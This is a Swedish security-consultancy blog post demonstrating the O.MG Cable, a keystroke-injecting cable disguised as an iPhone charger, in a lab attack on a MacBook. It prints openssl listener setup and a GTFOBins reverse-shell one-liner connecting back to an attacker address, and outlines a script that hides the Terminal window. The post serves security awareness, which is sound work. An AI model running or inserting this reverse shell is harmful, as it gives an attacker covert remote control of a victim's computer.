Simovits

Att ladda med försiktighet

En välkänd pekpinne inom IT-säkerhet är att främmande USB-minnen under inga omständigheter ska anslutas till organisationens utrustning. Det klassiska angreppet går ut på att lämna en USB-sticka på en publik plats, i förhoppningen att den som hittar detta ansluter det till en dator. Den här bloggen handlar om O.MG Cable som är ett verktyg för att genomföra denna typ av angrepp.

Säkerhetsfolk har pratat om det här så länge nu att man kan tycka att varenda kotte borde lärt sig, men när angreppet praktiskt testas fungerar det i allmänhet fortfarande relativt bra. Exempelvis testade man 2016 att placera ut 297 USB-stickor innehållande html-dokument på ett campus i USA som “ringde hem” om något dokument öppnades, [1]. Bland de utplacerade stickorna var det i 45% av fallen någon som plockade upp stickan, stoppades in den i dator och öppnade något av dokumenten.

O.MG Cable är en HID- och WiFi-enhet och när kabeln stoppas in i en dator simulerar den ett tangentbord och agerar samtidigt som en access punkt eller ansluter till ett befintligt WiFi-nätverk, [2]. Genom att ansluta till kabeln över WiFi kan angriparen sedan exekverar kommandon som om hen skrev dem på ett tangentbord inkopplat i datorn. Funktionalitetsmässigt är inte O.MG Cable unik, då det finns flera liknande typer av enheter exempelvis Bash Bunny som Douglas skrivit om i en tidigare blogg, [3]. Det unika med O.MG Cable är istället sladdens utseende som syns i bilden nedan.

Sladden har alltså maskerats att se ut precis som en vanlig laddningskabel för iPhone och allvarligt talat vem har inte någon gång lånat någons laddare när luren håller på att dö?

Praktiskt test

För att testa O.MG. Cable använder jag openssl för att skapa en reverse shell över HTTPS på port 443 från en MacBook Air med senaste versionen av macOS. Den shell jag använder baseras på ett trick jag känner till från projectet GTFOBins som kartlägger olika sätt att använda standardfunktionalitet på linux i offensiva syften [4].

Steg 1: Förberedelser
Till att börja med behöver jag en server som offrets klient kan ansluta till. För detta använder jag följande kommandon tagna från [4].

# openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 3 -nodes
# openssl s_server -quiet -key key.pem -cert cert.pem -port 443

Detta skapar en privat nyckel samt certifikat och använder dem för att starta en HTTPS-server på 192.168.10.104 och port 443.

Därutöver behöver vi konfigurera vår “hackersladd”. Vilket vi gör genom att flasha sladdens firmware och konfigurera en access punkt samt skapa ett skript att köra på offerts klient. Firmware laddas ned från Github [5] och installeras genom att ansluta sladden till angriparens dator via en programmerare och följa stegvisa instruktioner.

Eftersom jag i installationen av firmware valde att konfigurerar sladden som en access punkt kan jag nu ansluta till den över wifi och navigerar till ett webbgränssnitt som används för kontroll. Där skapar jag ett skript för angreppet. Kärnan i skriptet är följande kommando från GTFObins som ansluter via klienten i openssl och använder pipen /tmp/s för att ta emot kommandon och returnera output.

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.10.104:443 > /tmp/s; rm /tmp/s

Det enda som återstår att anpassa det till sladden och macOS. Skriptspråket är snarlikt det för Bash Bunny och finns dokumenterat i gränssnittet. Efter en stunds pillande fick jag till följande skript som jag konfigurerade att automatiskt köras när sladden kopplas in.

Skript för angrepp med O.MG Cable

Det skriptet gör är:

  1. Konfigurera sladden som en enhet macOS förstår.
  2. Stäng eventuellt fokuserat fönster.
  3. Öppna Spotlight och sök efter Terminalen.
  4. Skriv in vårt kommandot med lite väntetider (behövs tyvärr).
  5. Kör kommandot som ett bakgrundsjobb (&), tryck enter för att få en ny rad och rensa terminalen (clear).
  6. Minimera terminalfönstret.

På vår kontrollserver ser vi att det funkar.

Hur det ser ut på den angripna klienten syns i gif:en nedan.

PoC på angrepp från klientperspektiv

Som OM.G Cable med all önskvärd tydlighet påvisar finns det alltid en risk med att ansluta främmande utrustning till sin enhet. Det går att på olika vis låsa ned sina klienter för att motverka denna typ av angrepp, men minst lika viktiga åtgärder är detektionsmöjligheter och säkerhetsmedveten.

Referenser

  1. Om USB-minnen på parkeringsplatser, https://www.blackhat.com/docs/us-16/materials/us-16-Bursztein-Does-Dropping-USB-Drives-In-Parking-Lots-And-Other-Places-Really-Work.pdf
  2. Hemsida för O.MG Cable, https://mg.lol/blog/omg-cable/
  3. Blogg om Bash Bunny, https://simovits.com/en-elak-kanin/
  4. GTFOBins, https://gtfobins.github.io/gtfobins/openssl/#reverse-shell
  5. Firmware för O.MG Cable,https://github.com/O-MG/O.MG_Cable-Firmware